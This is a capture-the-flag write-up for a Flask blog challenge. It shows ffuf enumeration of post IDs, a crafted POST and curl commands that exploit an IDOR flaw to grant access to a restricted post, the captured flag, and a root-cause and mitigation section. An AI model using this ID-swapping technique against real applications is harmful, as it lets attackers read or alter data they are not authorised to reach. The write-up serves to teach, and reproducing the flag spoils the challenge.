BonitoBlog

TL;DR

We fuzzed numeric blog IDs, found a restricted post at /blog/1337 (403), then abused a flawed update endpoint that trusted a client-supplied postId in the request body over the path parameter. By POSTing postId=1337&users=b0nr4d to /blog/update/190 with our valid session, we added ourselves to the allowlist for post 1337 and read the flag:

flag{5a593f66535c10f2291a8dcb8e88bfbb}

Target

https://bonitoblog.ctf.zone

The app looks like a small Flask blog. Session cookie format matches itsdangerous URLSafeTimedSerializer (Flask signed session). Not necessary to break/guess the secret for this solve.

Recon

  1. Enumerate posts (numeric IDs):
ffuf -w <(seq 1 2000) -u https://bonitoblog.ctf.zone/blog/FUZZ -fc 404

Findings (selected):

  • … 190 191 996 1234 1235 1236 1303 1497 1696 … → HTTP 200
  • 1337HTTP 403 with message: “You are not allowed to see this content.”

Conclusion: there is at least one restricted post: ID 1337.

Hypothesis

  • The site likely implements per-post access control (allowlist of usernames).
  • Update endpoints might be present for editable posts we can see (e.g., ID 190).
  • If the server trusts a body field like postId during update, we might be able to edit ACLs for a different post (IDOR).

Exploit

We tested whether an update endpoint existed for a public post we could view (e.g., /blog/190) and whether it allowed changing access for a different post via body parameters.

Request

POST /blog/update/190 HTTP/1.1
Host: bonitoblog.ctf.zone
Cookie: session=eyJ1c2VybmFtZSI6ImIwbnI0ZCJ9.aJiKvQ.EIUXhXQ1HxQ9OwpRYyfJbuIbueM
Content-Type: application/x-www-form-urlencoded
Referer: https://bonitoblog.ctf.zone/blog/190

postId=1337&users=b0nr4d

What happened

  • The server accepted the request and (silently) applied our change to post 1337 (not 190!), adding user b0nr4d to its viewers.
  • Fetching /blog/1337 afterwards returned 200 with the flag in the content.

Why this works (Root cause)

  • Broken Access Control / IDOR: The API lets an authenticated user update a resource by ID supplied in the body (postId), ignoring (or not validating against) the path parameter (/update/190).
  • This is a classic “inconsistent resource identifiers” bug → CWE-639 (“Authorization Bypass Through User-Controlled Key”), also falls under OWASP Top 10 A01:2021 Broken Access Control.
  • No privilege check enforced for modifying the users field of any post.

Impact

  • Any authenticated user can:
    • Add themselves to the allowlist of any restricted post.
    • Potentially modify other sensitive fields by swapping IDs.
  • Confidential posts are effectively public to anyone who knows the IDs.

Reproduction (minimal)

# 1) Confirm restricted
curl -i https://bonitoblog.ctf.zone/blog/1337

# 2) Abuse update endpoint (use your valid session cookie)
curl -i -X POST 'https://bonitoblog.ctf.zone/blog/update/190' \
  -H 'Cookie: session=<your-session>' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'postId=1337&users=b0nr4d'

# 3) Read the post
curl -i https://bonitoblog.ctf.zone/blog/1337

Mitigations (what the app should fix)

  • Bind updates to the path ID: The server must use the resource ID from the URL (/update/<id>) and reject any conflicting postId in the body.
  • Enforce authorization: Only owners/admins can modify a post’s allowlist (users). Check the authenticated user’s role/ownership.
  • Block mass assignment: Use an allowlist of updatable fields; never let clients set identity/ACL fields unless explicitly permitted.
  • Consistency checks: If both path and body contain IDs, 400 Bad Request when they differ. Log such attempts.
  • Test cases: Add unit/integration tests for IDOR—attempts to update postId != path_id should fail.

Notes on the cookie

  • The session cookie is a signed Flask/itsdangerous token (not a JWT). We did not need to tamper with or crack it; it simply identifies us as b0nr4d.
  • Hardening tips (general): strong SECRET_KEY, HttpOnly, Secure, SameSite, and consider server-side sessions for sensitive apps.

Takeaways

  • When you see “restricted” content and a separate update/edit workflow, always check for:
    • ID mismatches (path vs. body/query).
    • Mass assignment of sensitive fields (roles, ACLs, ownership).
    • IDOR by changing numeric IDs across endpoints.